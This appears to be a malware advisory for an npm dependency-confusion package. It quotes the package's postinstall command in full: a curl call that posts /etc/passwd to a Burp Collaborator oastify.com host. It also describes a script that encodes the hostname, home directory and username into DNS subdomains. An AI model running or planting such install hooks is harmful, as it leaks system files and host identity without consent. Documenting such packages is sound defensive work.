What this malware does
@open-banking/[email protected] is a dependency-confusion bait package (anomalously high version under a generic scope) that exfiltrates installer data via its postinstall lifecycle. package.json declares "postinstall": "node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com", which posts the contents of /etc/passwd (prefixed by the installer's hostname as a subdomain) to a Burp Collaborator (OAST) endpoint. The bundled scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username, splits the result into 50-character chunks joined by ., and fetches http://<chunks>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com over plain HTTP — leaking host identity through DNS-style subdomain encoding. Both behaviors fire automatically on npm install with no user consent.
